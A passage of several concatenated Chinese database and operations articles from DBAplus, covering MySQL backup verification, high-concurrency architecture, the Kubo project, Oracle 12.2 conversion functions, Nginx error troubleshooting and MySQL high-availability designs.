5、数据库机器上汇报 1)库表汇报程序地址:自行下载和修改 https://github.com/kevin6386/db_table_report/blob/master/db_table_report 运行即可。 2)SQL汇报程序 程序地址:https://github.com/kevin6386/db_sql_report/blob/master/db_sql_report 运行即可。 6、数据库备份还原 下载备份并还原(简单分解介绍): 用 rsync 下载备份到本地,并解压 rsync -zrtoapg --progress root@172.16.20.6::back5/备份文件名 ./ 恢复命令: /usr/local/bin/myloader -u user -p pass -o -d 备份地址 -t 8 7、校验 此时才是整个流程设计的重点,针对还原后的数据,怎么做校验才是重要的,而且校验的样例或方法直接关系数据备份有效性的指标。 1)还原后数据库表的校验 程序地址:https://github.com/kevin6386/db_table_diff/blob/master/db_table_diff 比较结果如下: 邮件截图 2)还原后数据SQL的校验 程序地址:https://github.com/kevin6386/db_sql_diff 比较结果如下: 邮件截图:如果正常则附件会有SQL,否则为空。 异常截图 出现异常有如下几种情况: 备份时和general_log提取有时间的差异;当获取SQL出现在备份前或备份后有数据修改的情况下会出现。(可采用低峰时或很少修改的字段进行提取样例) 某些表还原异常,数据丢失。(比如我遇到过触发器的情况,表与表有依赖) 我用从库的备份比对主库的SQL。(有可能从库和主库不一致) 备份时有丢失的表或记录。(有时备份的命令问题或漏备份) 附件SQL信息 8、关于备份的汇报 我是汇报每天的备份大小及文件名,然后写SQL比对今天的备份和前2天的信息。 如下: 总结 设计完这个方案后开始编写分程序花了一段时间,同时感谢我的同事帮我重复测试这个设计方案,发现之前备份还原过程中出现的问题改善了很多,重要的是不用人工去抽取还原后的数据结果。当这个方案固定后基本上很少有人工的参与,减少了人工还原备份和校验备份重复的工作;并且可以准确地知道哪部分有问题,减少了对数据库备份是否正常的担忧。当然还有很多要完善的方面,欢迎有兴趣的朋友在留言区提出建议,一起交流。 原文发布时间为:2017-03-28 本文来自云栖社区合作伙伴DBAplus
一、分层,分割,分布式 大型网站要很好地支撑高并发,需要长期的规划设计。在初期,需要把系统进行分层,在发展过程中把核心业务进行拆分成模块单元,根据需求进行分布式部署,可以进行独立团队维护开发。 分层: 将系统在横向维度上切分成几个部分,每个部门负责一部分相对简单并比较单一的职责,然后通过上层对下层的依赖和调度组成一个完整的系统。 比如把电商系统分成:应用层,服务层,数据层。(具体分多少个层次根据自己的业务场景) 应用层:网站首页,用户中心,商品中心,购物车,红包业务,活动中心等,负责具体业务和视图展示。 服务层:订单服务、用户管理服务、红包服务、商品服务等,为应用层提供服务支持。 数据层:关系数据库、NoSQL数据库等,提供数据存储查询服务。 分层架构是逻辑上的,在物理部署上可以部署在同一台物理机器上,但是随着网站业务的发展,必然需要对已经分层的模块分离部署,分别部署在不同的服务器上,使网站可以支撑更多用户访问。 分割: 在纵向方面对业务进行切分,将一块相对复杂的业务分割成不同的模块单元。 包装成高内聚低耦合的模块不仅有助于软件的开发维护,也便于不同模块的分布式部署,提高网站的并发处理能力和功能扩展。 比如用户中心可以分割成:账户信息模块、订单模块、充值模块、提现模块、优惠券模块等。 分布式: 分布式应用和服务,将分层或者分割后的业务分布式部署,独立的应用服务器、数据库、缓存服务器。 当业务达到一定用户量时,再进行服务器均衡负载、数据库、缓存主从集群。 分布式静态资源,比如:静态资源上传CDN。 分布式计算,比如:使用Hadoop进行大数据的分布式计算。 分布式数据和存储,比如:各分布节点根据哈希算法或其他算法分散存储数据。 (网站分层-来自网络) 二、集群 对于用户访问集中的业务独立部署服务器、应用服务器、数据库、NoSQL数据库,核心业务基本上需要搭建集群,即多台服务器部署相同的应用构成一个集群,通过负载均衡设备共同对外提供服务, 服务器集群能够为相同的服务提供更多的并发支持,因此当有更多的用户访问时,只需要向集群中加入新的机器即可,另外可以实现当其中的某台服务器发生故障时,可通过负载均衡的失效转移机制将请求转移至集群中其他的服务器上,因而提高系统的可用性。 应用服务器集群: Nginx 反向代理 SLB … … (关系/NoSQL)数据库集群: 主从分离,从库集群 (通过反向代理均衡负载-来自网络) 三、异步 在高并发业务中如果涉及到数据库操作,主要压力都是在数据库服务器上面,虽然使用主从分离,但是数据库操作都是在主库上操作,单台数据库服务器连接池允许的最大连接数量是有限的 。 当连接数量达到最大值时,其它需要连接数据操作的请求就需要等待有空闲的连接,这样高并发的时候很多请求就会出现connection time out的情况 。 那么,像这种高并发业务我们要如何设计开发方案可以降低数据库服务器的压力呢? 如: 自动弹窗签到,双11跨0点的时候并发请求签到接口; 双11抢红包活动; 双11订单入库; …… 设计考虑: 逆向思维,压力在数据库,那业务接口就不进行数据库操作不就没压力了? 数据持久化是否允许延迟? 如何让业务接口不直接操作DB,又可以让数据持久化? 方案设计: 像这种涉及数据库操作的高并发的业务,就要考虑使用异步了。 客户端发起接口请求,服务端快速响应,客户端展示结果给用户,数据库操作通过异步同步。 如何实现异步同步? 使用消息队列,将入库的内容enqueue到消息队列中,业务接口快速响应给用户结果(可以温馨提示高峰期延迟到账)。 然后再写个独立程序从消息队列dequeue数据出来进行入库操作,入库成功后刷新用户相关缓存,如果入库失败记录日志,方便反馈查询和重新持久化。 这样一来数据库操作就只有一个程序(多线程)来完成,不会给数据带来压力。 补充: 消息队列除了可以用在高并发业务,其它只要有相同需求的业务也是可以使用,如:短信发送中间件等。 高并发下异步持久化数据可能会影响用户的体验,可以通过可配置的方式,或者自动化监控资源消耗来切换时时或者使用异步,这样在正常流量的情况下可以使用时操作数据库来提高用户体验。 异步同时也可以指编程上的异步函数、异步线程,有的时候可以使用异步操作,把不需要等待结果的操作放到异步中,然后继续后面的操作,节省了等待的这部分操作的时间。 四、缓存 高并发业务接口多数都是进行业务数据的查询,如:商品列表、商品信息 用户信息、红包信息等,这些数据都是不会经常变化,并且持久化在数据库中。 高并发的情况下直接连接从库做查询操作,多台从库服务器也抗不住这么大量的连接请求数(前面说过,单台数据库服务器允许的最大连接数量是有限的),那么在这种高并发的业务接口要如何设计呢? 设计考虑: 还是逆向思维,压力在数据库,那么我们就不进行数据库查询? 数据不经常变化,我们为啥要一直查询DB? 数据不变化客户端为啥要向服务器请求返回一样的数据? 方案设计: 数据不经常变化,我们可以把数据进行缓存,缓存的方式有很多种,一般的:应用服务器直接Cache内存,主流的:存储在memcache、Redis内存数据库。 Cache是直接存储在应用服务器中,读取速度快,内存数据库服务器允许连接数可以支撑到很大,而且数据存储在内存,读取速度快,再加上主从集群,可以支撑很大的并发查询。 根据业务情景,使用配合客户端本地存,如果我们数据内容不经常变化,为啥要一直请求服务器获取相同数据,可以通过匹配数据版本号,如果版本号不一样接口重新查询缓存返回数据和版本号,如果一样则不查询数据直接响应。 这样不仅可以提高接口响应速度,也可以节约服务器带宽,虽然有些服务器带宽是按流量计费,但是也不是绝对无限的,在高并发的时候服务器带宽也可能导致请求响应慢的问题。 补充: 缓存同时也指静态资源客户端缓存; CDN缓存,静态资源通过上传CDN,CDN节点缓存我们的静态资源,减少服务器压力; Redis的使用技巧参考我的博文: [大话Redis基础]-https://blog.thankbabe.com/2016/04/01/redis/ [大话Redis进阶]-https://blog.thankbabe.com/2016/08/05/redis-up/ 五、面向服务 SOA面向服务架构设计 微服务更细粒度服务化,一系列的独立的服务共同组成系统 使用服务化思维,将核心业务或者通用的业务功能抽离成服务独立部署,对外提供接口的方式提供功能。 最理想化的设计是可以把一个复杂的系统抽离成多个服务,共同组成系统的业务,优点:松耦合、高可用性、高伸缩性、易维护。 通过面向服务化设计,独立服务器部署,均衡负载,数据库集群,可以让服务支撑更高的并发。 服务例子:用户行为跟踪记录统计 说明: 通过上报应用模块,操作事件,事件对象,等数据,记录用户的操作行为。 比如:记录用户在某个商品模块,点击了某一件商品,或者浏览了某一件商品 背景: 由于服务需要记录用户的各种操作行为,并且可以重复上报,准备接入服务的业务又是核心业务的用户行为跟踪,所以请求量很大,高峰期会产生大量并发请求。 架构: nodejs WEB应用服务器均衡负载 Redis主从集群 MySQL主 nodejs+express+ejs+Redis+MySQL 服务端采用nodejs,nodejs是单进程(PM2根据cpu核数开启多个工作进程),采用事件驱动机制,适合I/O密集型业务,处理高并发能力强 业务设计: 并发量大,所以不能直接入库,采用:异步同步数据,消息队列。 请求接口上报数据,接口将上报数据push到redis的list队列中。 nodejs写入库脚本,循环pop redis list数据,将数据存储入库,并进行相关统计Update,无数据时sleep几秒。 因为数据量会比较大,上报的数据表按天命名存储。 接口: 上报数据接口 统计查询接口 上线跟进: 服务业务基本正常 每天的上报表有上千万的数据 六、冗余,自动化 当高并发业务所在的服务器出现宕机时,需要有备用服务器进行快速的替代,在应用服务器压力大的时候可以快速添加机器到集群中,所以我们就需要有备用机器可以随时待命。 最理想的方式是可以通过自动化监控服务器资源消耗来进行报警,自动切换降级方案,自动地进行服务器替换和添加操作等,通过自动化可以减少人工的操作的成本,而且可以快速操作,避免人为操作上面的失误。 冗余: 数据库备份 备用服务器 自动化: 自动化监控 自动化报警 自动化降级 通过GitLab事件,我们应该反思,做了备份数据并不代表就万无一失了,我们需要保证高可用性,首先备份是否正常进行,备份数据是否可用,需要我们进行定期的检查,或者自动化监控, 还有包括如何避免人为上的操作失误问题。(不过事件中Gitlab的开放性姿态,积极的处理方式还是值得学习的) 总结 高并发架构是一个不断衍变的过程,冰洞三尺非一日之寒,长城筑成非一日之功。打好基础架构方便以后的拓展,这点很重要。 本文重新整理了高并发下的架构思路,并举例了几个实践的例子,若你有更好的意见,欢迎留言。 相关阅读: 电商那些年,我摸爬打滚出的高并发架构实战精髓 原文发布时间为:2017-03-27 本文来自云栖社区合作伙伴DBAplus
为了在云计算领域争夺企业级市场,Pivotal与谷歌发起了一项名为Kubo的项目。该项目旨在利用Pivotal的BOSH工具,将云软件部署于谷歌Kubernetes(以下简称K8s)容器编排平台,并进行管理。 对于这个新项目,官方透露并不多,但随着Kubo的发布,Cloud Foundry和K8s将融合成为当今最全面覆盖企业级全应用的PaaS平台。 BOSH是什么? 它是一款开源软件,用于调配和管理大型分布式系统。可以将BOSH 看作是虚拟机构建工具,外加配置管理、运行状况管理和日志记录。它一直为Pivotal Cloud FoundryⓇ 提供支持,帮助Pivotal的客户创建能够自我修复和执行零停机更新的一致环境。 为什么Pivotal要花时间来改善K8s的体验?Cloud Foundry不能满足客户的需求吗? 对于大公司来说,他们有各种各样的应用,当他们使用的语言或应用架构只需通过容器化即可获得适度且实用的效率提升。但如果他们还有商业应用需要完全控制整个软件体系,他们需要直接访问调度程序。虽然Cloud Foundry是云本地应用程序的首选平台,但客户希望在需要的时候能够对自己的软件更自由地进行管理。通过BOSH,无论客户选择使用哪个云进行抽象,Cloud Foundry都能为客户提供统一的运行环境。 此外,对K8s来说,作为一个常见的IT管理层可以在PaaS环境中引入更多的可移植性,推动其成为标准容器编排工具之一。 CF和K8s本身是面向大企业级生产系统,只不过,CF更多的是面向商业市场,K8s面向开源市场和公有云市场。CF和K8s的融合可以强化Pivotal和谷歌在企业级市场的优势,同时他们也希望可以定义企业级PaaS/CaaS的标准。 Kubo的功能 1. 容器编排:Kubo让你尽享最受欢迎的容器编排程序K8s的威力。无论是目前的K8s还是未来要投入的K8s,都可以使用Kubo。 2. 由BOSH提供支持:BOSH是一个开源的工具链,可用于大规模分布式服务的发布工程、部署和生命周期管理。从2011年起它就是Cloud Foundry的重要工具,现在可以使用BOSH来创建和管理K8s群集。 3. 内置的高可用性:BOSH可为K8s群集中的Master和etcd提供高可用性。 4. 适合常见的企业应用:Kubo适合采用特定语言编写的现有生产应用,也可以在工程师需要深入访问平台原型时使用它。 5. 与Cloud Foundry共享工具:Cloud Foundry和Kubo部署相结合可以实现更高的运维效率,因为这两者都使用BOSH。运维人员可以用相同的方式管理云原生应用和容器之下的基础架构。 图片来源: http://www.lemondeinformatique.fr/actualites/lire-avec-kubo-pivotal-va-automatiser-les-cycles-de-vie-sur-kubernetes-67626.html 谷歌在企业级市场的野心 虽然在云计算的竞争中,谷歌被广泛认为是一个落后者,但谷歌一直努力将自己定位为更开放的替代云市场领导者。Google在2014年启动K8s,其构建在Google公司十几年的大规模高负载生产系统运维经验之上,同时结合了社区中各项最佳设计和实践。当Alphabet在2015年9月聘请了Diane Green领导其云计算部门(Green是VMware的联合创始人,担任多年CEO),它已经准备好争夺企业云市场。 专业人士认为,谷歌要想追赶AWS和Azure的脚步,就必须进行一些创新。大公司对K8s始终抱有谨慎的态度,而谷歌希望通过K8s向OpenStack进军。和Pivotal的合作表明谷歌有意深化在分析和DevOps领域的能力。 戴尔EMC和谷歌目前在银行的微型数据中心进行竞争,旨在支持物联网设备实时获取数据。Kubo允许客户使用Pivotal作为DevOps和分析平台,而谷歌提供平台支持Pivotal。微数据中心、分析、物联网,谷歌将是这所有一切的后端。利用开源方式和其开放态度,谷歌希望赢得企业的信任。 Kubo目前已经发布了几个月,可以在任何云上部署管理K8s集群,并将其实例化。Pivotal和谷歌云平台团队正通力合作,继续推进这个项目的进程。 短短几年,Docker生态发展迅猛。在国内以前PaaS平台更多的是用OpenStack来构建的,随着DCOS的热度上升,两者逐渐融合。随着企业对IT支撑能力和可靠稳定运行的要求越来越高,在对传统IT改造的过程中,Docker因为其轻量、小的特点,改造起来比较简单更受欢迎。 众多企业级服务企业亦开始顺势而为,基于各自优势提供相关DCOS解决方案。企业使用DCOS改造后,打通被开发、运维和生产环境割裂的作业流程,实现了开发、测试、生产环境的有效隔离和应用的一次构建、随处运行的目标,从而提高开发运维效率,降低割接带来的业务影响;通过集群管理平台的高可用实现业务的高可用,减少因故障带来的业务损失。
无论你做了多少测试(嗯,它实际上是这样,但这是一个完全不同的问题),你几乎可以保证,在某些时刻,你那些漂亮的数据验证代码,在解析从Web表单输入的数据或从外部加载数据文件时,会弹出错误: 当然,这里真正令人讨厌的是,你不知道哪个列的值(假设你有多个数字列)。 在数据加载期间管理转换错误 怎么办? 当然,明智的是,在你的代码中添加大量的数据验证检查,以尝试捕获来自数据源的错误类型数据所到达的情况。很可能所有的附加验证检查将减慢插入数据的过程,但这不是一个很好的结果。 如果您的数据通过外部文件到达,那么您可以使用BADFILE子句捕获那些由于数据类型错误而无法加载的记录。 但是,如果插入语句的数据源是由ETL作业填充的中间表或来自网页表单的一系列值,又该怎么办? 如何在INSERT期间管理转换错误 Panic over - Database 12c版本2包含了对CAST和TO_xxx函数的重要更改,以管理最常见的数据转换错误。 如果存在转换错误,CAST函数现在可以返回用户指定的值。 例如,让我们在模式中构建一个简单的计划表: 并让我们插入一些数据,其中包括在我们尝试将值添加到目标表中时可能导致数据转换错误的值: 现在让我们试着将数据从我们的分期表插入到EMP表,看看会发生什么: ……毫不意外的,我得到了以下错误: 我可以用几种不同的方式来处理这种情况。首先,尝试并发现临时表中的哪些行和列会包含导致数据转换错误的值。为此,我将使用新的VALIDATE_CONVERSION()函数,该函数标识无法转换为所需数据类型的问题数据。如果给定的表达式可以转换为指定的数据类型,则返回1,否则返回0。 这将产生一个表,其中我可以轻松地选择数据转换将要成功(列值为1)和失败(列值为0)的行: 我可以使用此信息过滤临时表中的数据,因为我将其插入到我的EMP表或我可以使用INSERT INTO ... .. SELECT语句中增强的CAST和TO_xxx函数。 当发生数据类型转换错误时,CAST函数(以及TO_NUMBER,TO_BINARY_FLOAT,TO_BINARY_DOUBLE,TO_DATE,TO_TIMESTAMP,TO_TIMESTAMP_TZ,TO_DSINTERVAL和TO_YMINTERVAL函数)现在可以返回用户指定的值,而不是错误。这减少了数据转换和数据加载过程中的故障。 因此,我新的12.2版本验证SELECT语句如下所示: 这五行结果插入到我的EMP表中 - 显然这意味着在插入过程(行1,4,6和8)期间拒绝了第4行,因为它们包含将内容转换为empno键的一个数字错误。 这里是加载的数据: 我们可以看到在第1行,HIERDATE无效,所以它被替换为sys日期(07-JUL-16)的值。 第2行,DEPTNO的值是转换默认值99,而在第4行,MGR的值是转换默认值9999。 总结 增强的CAST函数(以及TO_NUMBER,TO_BINARY_FLOAT,TO_BINARY_DOUBLE,TO_DATE,TO_TIMESTAMP,TO_TIMESTAMP_TZ,TO_DSINTERVAL和TO_YMINTERVAL函数)可帮助您处理数据转换错误,而无需使用复杂的PL / SQL代码或在应用程序代码中写入数据验证例程。 新的VALIDATE_CONVERSION()函数可用于帮助您标识无法转换为所需数据类型的列值。 这两个功能都很有用。希望你会喜欢! 原文发布时间为:2017-03-24 本文来自云栖社区合作伙伴DBAplus
作者介绍 林伟壕,网络安全DevOps新司机,先后在中国电信和网易游戏从事数据网络、网络安全和游戏运维工作。对Linux运维、虚拟化和网络安全防护等研究颇多,目前专注于网络安全自动化检测、防御系统构建。 众所周知,Nginx是目前最流行的Web Server之一,也广泛应用于负载均衡、反向代理等服务,使用过程中可能因为对Nginx工作原理、变量含义、参数大小等问题的理解错误,导致Nginx工作异常。 因此,本文将从一个Nginx错误代码400引发的故障入手,谈谈如何分析和修复常见的Nginx异常。 故障简述 小明某天中午在线优化一个敏感服务的Nginx配置时,发现5分钟内Nginx errorlog里出现了大量400错误,于是迅速回滚了Nginx配置。 故障详情 原来的Nginx配置存在重复或者需废弃的内容,于是在多次diff了新旧两份配置内容后,小明认为最新配置是不影响业务的,因此在线推送更新配置后,直接reload了Nginx,出于double check原则,在线观察了5分钟Nginx日志: 发现出现大量类似下面的400错误: 400错误的产生,很可能影响服务端或客户端的后续业务逻辑判断,因此需要引起重视。 处理过程 节点1 当时回滚配置后,小明先在搜索引擎查找了Nginx 400错误的可能原因和解决办法,初步确定有下面两种可能:1是空主机头,2是请求包头过大。 小明跟客户端同学确认了客户端请求方式,发现他们使用的是类似telnet的方式发起的http请求,类似下面的: 为了方便后续排查,小明参考线上环境临时搭建了一套Nginx测试环境,重现了故障: 后来小明了解到原来客户端不是从代码的http库调用, 而是按照上面的方式走TCP/telnet传递http参数来调用服务端http接口。但是为什么一样的客户端请求方式,旧配置完全ok,新配置则会出现大量400错误? 节点2 至此,小明怀疑自己没有完全diff出新旧两份配置的差别,于是他使用vimdiff再次对比新旧两份配置。下面仅贴出关键配置: 旧配置: 新配置: 本次排查中,小明考虑的重点是新配置里遗漏了某些配置,于是他把location ~ (.*)的相关逻辑加上,发现问题依旧: 节点3 既然前面往缺失配置的思路走不通,下面就按照新增配置的思路排查,结果发现新配置增加了一些包头信息,小明怀疑是请求包过大,于是优先排查了Nginx针对包头大小的设置,其中有这么几个配置: client_header_buffer_size:默认是1k,所以header小于1k的话是不会出现问题的。 large_client_header_buffers:该命令用于设置客户端请求的Header头缓冲区的大小,默认值为4KB。 客户端请求行不能超过large_client_header_buffers指令设置的值,客户端请求的Header头信息不能大于large_client_header_buffers指令设置的缓冲区大小,否则会报“Request URL too large”(414)或者“Bad-request”(400)错误,如果客户端Cookie信息较大,则须增加缓冲区大小。于是小明将client_header_buffer_size和large_client_header_buffers都设置为128k。结果问题也重现了。 接下来,小明发现新配置中多了“proxy_set_header Host $http_host;”查找了Nginx官方文档发现跟$http_host类似功能的还有$server_name和$host等变量,在他将$http_host更换成$host后,问题修复了。 原因分析 根据Nginx官方文档介绍,400状态码含义如下: 上面是http1.1的rfc关于host部分的解释,从上面我们了解到如果一个http1.1的请求没有host域,那么server应该给client段发送400的状态码,表明这个请求server不能处理。而对于Nginx server来说,也遵循这样的方式,说明client发送了一个无效的请求,Nginx server无法处理,于是返回了400的状态码。 另外,关于$host和$http_host这两个变量的区别如下: 本次故障中,客户端的调用方式没有使用host 参数,传递了空的Host头给服务端,一旦Nginx设置了proxy_set_header Host $http_host,空Host头就传给了后端。然而,在http 1.1的规范中,Host只要出现空,就会返回400,所以出现了这个故障。而对于需要在Host字段里带上端口信息的,则仍需要配置proxy_set_header Host $http_host。 最后,需要注意的是,400错误不一样会影响业务,需要看具体的业务处理逻辑,比如使用nagios的check_tcp插件对Nginx server端口做检测或者使用keepalived的tcp_check功能对后端Nginx端口的存活做检测,这两种情况都会在Nginx errorlog中产生400的请求。 原因也很简单,就是一般tcp check的方式,就是建立tcp连接,但是没有发送任何数据,当然也没有Host头,然后再reset或者四次挥手断开连接。 经验教训 运维规范 细心的同学会发现本次配置更新是在大中午操作,而且也没有在测试环境测试通过,这在流程上是不严谨的。虽然Nginx等web服务的配置更新基本上通过热更就可以了,但没有灰度测试或者在测试环境测试,一是无法提前发现问题,二是无法控制业务影响。所以,在运维规范上看,即使是热更也应当在测试环境测试正常后再同步到线上,其他的更新则应在业务低谷时操作。 技术学习方法 本次故障的产生,很大程度上就是运维同学不理解Nginx变量的定义和区别,直接从搜索引擎上找了些配置,检查觉得正确就推到了线上。这里仍需要重申的是,以官方文档为准!互联网上很多知识或者配置有各种各样的问题,随时都有暗坑在里边,只有啃过官方文档才能避免误读。 Web日志分析 针对这里的Nginx错误日志查看,我们看到小明是用在线命令查看的,其实现在有很多web日志分析工具或系统,比如ELK(ElacticSearch+LogStash+Kibana),只需要配置好grok正则,是可以通过可视化界面实时监控web服务质量的。 引申 上面介绍了Nginx 400错误的可能原因和解决办法,但实际工作中,我们遇到的可不止这么一点。于是,由此引申出去的是,针对那些Nginx常见错误如何去排查和解决。 403错误 403是很常见的错误代码,一般就是未授权被禁止访问的意思。 可能的原因有两种: Nginx程序用户无权限访问web目录文件 Nginx需要访问目录,但是autoindex选项被关闭 修复方法: 授予Nginx程序用户权限读取web目录文件 设置autoindex目录为on 413错误 在上传时Nginx返回了413错误:“413 Request Entity Too Large”,这一般就是上传文件大小超过Nginx配置引起。 修复方法: 在Nginx.conf增加client_max_body_size的设置,这个值默认是1M,可以增加到8M以提高文件大小限制; 如果运行的是php,那么还要检查php.ini,这个大小client_max_body_size要和php.ini中的如下值的最大值一致或者稍大,这样就不会因为提交数据大小不一致出现的错误。 post_max_size = 8M upload_max_filesize = 2M 502错误 Nginx 502 Bad Gateway的含义是请求的PHP-CGI已经执行,但是由于某种原因(一般是读取资源的问题)没有执行完毕而导致PHP-CGI进程终止。一般来说Nginx 502 Bad Gateway和php-fpm.conf的设置有关。 修复方法: 1、查看FastCGI进程是否已经启动 ps -aux | grep php-cgi 2、检查系统Fastcgi进程运行情况 除了第一种情况,fastcgi进程数不够用、php执行时间长、或者是php-cgi进程死掉也可能造成Nginx的502错误。 运行以下命令判断是否接近FastCGI进程,如果fastcgi进程数接近配置文件中设置的数值,表明worker进程数设置太少。 netstat -anpo | grep "php-cgi" | wc -l 3、FastCGI执行时间过长 根据实际情况调高以下参数值 fastcgi_connect_timeout 300; fastcgi_send_timeout 300; fastcgi_read_timeout 300; 504错误 Nginx 504 Gateway Time-out的含义是所请求的网关没有请求到,简单来说就是没有请求到可以执行的PHP-CGI。 Nginx 504 Gateway Time-out一般与Nginx.conf的设置有关。 头部太大这种情况可能是由于Nginx默认的fastcgi进程响应的缓冲区太小造成的, 这将导致fastcgi进程被挂起,如果你的fastcgi服务对这个挂起处理的不好,那么最后就极有可能导致504 Gateway Time-out。 默认的fastcgi进程响应的缓冲区是8K,可以调大以下参数: fastcgi_buffer_size 128k; fastcgi_buffers 8 128k; fastcgi_busy_buffers_size 由 128K 改为 256K; fastcgi_temp_file_write_size 由 128K 改为 256K。 此外,也可能是php-cgi的问题,需要修改php.ini的配置: 将max_children由之前的10改为30,这样操作是为了保证有充足的php-cgi进程可以被使用。 将request_terminate_timeout由之前的0秒改成60秒,这样使php-cgi进程处理脚本的超时时间提高到60秒,可以防止进程被挂起以提高利用效率。 原文发布时间为:2017-03-23 本文来自云栖社区合作伙伴DBAplus
作者介绍 王松磊,现任职于UCloud,从事MySQL数据库内核研发工作。主要负责UCloud云数据库udb的内核故障排查工作以及数据库新特性的研发工作。 一、概述 我们在考虑MySQL数据库的高可用架构时,主要考虑如下几方面: 如果数据库发生了宕机或者意外中断等故障,能尽快恢复数据库的可用性,尽可能的减少停机时间,保证业务不会因为数据库的故障而中断。 用作备份、只读副本等功能的非主节点的数据应该和主节点的数据实时或者最终保持一致。 当业务发生数据库切换时,切换前后的数据库内容应当一致,不会因为数据缺失或者数据不一致而影响业务。 关于对高可用的分级我们暂不做详细的讨论,这里只讨论常用高可用方案的优缺点以及选型。 二、高可用方案 1、主从或主主半同步复制 使用双节点数据库,搭建单向或者双向的半同步复制。在5.7以后的版本中,由于lossless replication、logical多线程复制等一些列新特性的引入,使得MySQL原生半同步复制更加可靠。 常见架构如下: 通常会和Proxy、Keepalived等第三方软件同时使用,即可以用来监控数据库的健康,又可以执行一系列管理命令。如果主库发生故障,切换到备库后仍然可以继续使用数据库。 优点: 架构比较简单,使用原生半同步复制作为数据同步的依据 双节点,没有主机宕机后的选主问题,直接切换即可 双节点,需求资源少,部署简单 缺点: 完全依赖于半同步复制,如果半同步复制退化为异步复制,数据一致性无法得到保证 需要额外考虑HAProxy、Keepalived的高可用机制 2、半同步复制优化 半同步复制机制是可靠的。如果半同步复制一直是生效的,那么可以认为数据是一致的。但是由于网络波动等一些客观原因,导致半同步复制发生超时而切换为异步复制,这时便不能保证数据的一致性。所以尽可能的保证半同步复制,就可以提高数据的一致性。 该方案同样使用双节点架构,但是在原有半同复制的基础上做了功能上的优化,使半同步复制的机制变得更加可靠。 可参考的优化方案如下: 双通道复制 半同步复制由于发生超时后,复制断开,当再次建立起复制时,同时建立两条通道,其中一条半同步复制通道从当前位置开始复制,保证从机知道当前主机执行的进度。另外一条异步复制通道开始追补从机落后的数据。当异步复制通道追赶到半同步复制的起始位置时,恢复半同步复制。 binlog文件服务器 搭建两条半同步复制通道,其中连接文件服务器的半同步通道正常情况下不启用,当主从的半同步复制发生网络问题退化后,启动与文件服务器的半同步复制通道。当主从半同步复制恢复后,关闭与文件服务器的半同步复制通道。 优点: 双节点,需求资源少,部署简单 架构简单,没有选主的问题,直接切换即可 相比于原生复制,优化后的半同步复制更能保证数据的一致性 缺点: 需要修改内核源码或者使用MySQL通信协议。需要对源码有一定的了解,并能做一定程度的二次开发 依旧依赖于半同步复制,没有从根本上解决数据一致性问题 3、高可用架构优化 将双节点数据库扩展到多节点数据库,或者多节点数据库集群。可以根据自己的需要选择一主两从、一主多从或者多主多从的集群。 由于半同步复制,存在接收到一个从机的成功应答即认为半同步复制成功的特性,所以多从半同步复制的可靠性要优于单从半同步复制的可靠性。并且多节点同时宕机的几率也要小于单节点宕机的几率,所以多节点架构在一定程度上可以认为高可用性是好于双节点架构。 但由于数据库数量较多,所以需要数据库管理软件来保证数据库的可维护性。可以选择MMM、MHA或者各个版本的Proxy等等。常见方案如下: MHA+多节点集群 MHA Manager会定时探测集群中的master节点,当master出现故障时,它可以自动将最新数据的slave提升为新的master,然后将所有其他的slave重新指向新的master,整个故障转移过程对应用程序完全透明。 MHA Node运行在每台MySQL服务器上,主要作用是切换时处理二进制日志,确保切换尽量少丢数据。 MHA也可以扩展到如下的多节点集群: 优点: 可以进行故障的自动检测和转移 可扩展性较好,可以根据需要扩展MySQL的节点数量和结构 相比于双节点的MySQL复制,三节点/多节点的MySQL发生不可用的概率更低 缺点: 至少需要三节点,相对于双节点需要更多的资源 逻辑较为复杂,发生故障后排查问题,定位问题更加困难 数据一致性仍然靠原生半同步复制保证,仍然存在数据不一致的风险 可能因为网络分区发生脑裂现象。 ZooKeeper+Proxy ZooKeeper使用分布式算法保证集群数据的一致性,使用ZooKeeper可以有效的保证Proxy的高可用性,可以较好地避免网络分区现象的产生。 优点: 较好的保证了整个系统的高可用性,包括Proxy、MySQL 扩展性较好,可以扩展为大规模集群 缺点: 数据一致性仍然依赖于原生的mysql半同步复制 引入ZK,整个系统的逻辑变得更加复杂 4、共享存储 共享存储实现了数据库服务器和存储设备的解耦,不同数据库之间的数据同步不再依赖于MySQL的原生复制功能,而是通过磁盘数据同步的手段,来保证数据的一致性。 SAN共享储存 SAN的概念是允许存储设备和处理器(服务器)之间建立直接的高速网络(与LAN相比)连接,通过这种连接实现数据的集中式存储。常用架构如下: 使用共享存储时,MySQL服务器能够正常挂载文件系统并操作,如果主库发生宕机,备库可以挂载相同的文件系统,保证主库和备库使用相同的数据。 优点: 两节点即可,部署简单,切换逻辑简单 很好的保证数据的强一致性 不会因为MySQL的逻辑错误发生数据不一致的情况 缺点: 需要考虑共享存储的高可用 价格昂贵 DRBD磁盘复制 DRBD是一种基于软件、基于网络的块复制存储解决方案,主要用于对服务器之间的磁盘、分区、逻辑卷等进行数据镜像,当用户将数据写入本地磁盘时,还会将数据发送到网络中另一台主机的磁盘上,这样的本地主机(主节点)与远程主机(备节点)的数据就可以保证实时同步。常用架构如下: 当本地主机出现问题,远程主机上还保留着一份相同的数据,可以继续使用,保证了数据的安全。 DRBD是Linux内核模块实现的快级别的同步复制技术,可以与SAN达到相同的共享存储效果。 优点: 两节点即可,部署简单,切换逻辑简单 相比于SAN储存网络,价格低廉 保证数据的强一致性 缺点: 对IO性能影响较大 从库不提供读操作 5、分布式协议 分布式协议可以很好地解决数据一致性问题。比较常见的方案如下: MySQL Cluster MySQL Cluster是官方集群的部署方案,通过使用NDB存储引擎实时备份冗余数据,实现数据库的高可用性和数据一致性。 优点: 全部使用官方组件,不依赖于第三方软件 可以实现数据的强一致性 缺点: 国内使用的较少 配置较复杂,需要使用NDB储存引擎,与MySQL常规引擎存在一定差异 至少三节点 Galera 基于Galera的MySQL高可用集群, 是多主数据同步的MySQL集群解决方案,使用简单,没有单点故障,可用性高。常见架构如下: 优点: 多主写入,无延迟复制,能保证数据强一致性 有成熟的社区,有互联网公司在大规模的使用 自动故障转移,自动添加、剔除节点 缺点: 需要为原生MySQL节点打wsrep补丁 只支持innodb储存引擎 至少三节点 Paxos Paxos算法解决的问题是一个分布式系统如何就某个值(决议)达成一致。这个算法被认为是同类算法中最有效的。Paxos与MySQL相结合可以实现在分布式的MySQL数据的强一致性。常见架构如下: 优点: 多主写入,无延迟复制,能保证数据强一致性 有成熟理论基础 自动故障转移,自动添加、剔除节点 缺点: 只支持InnoDB储存引擎 至少三节点 总结 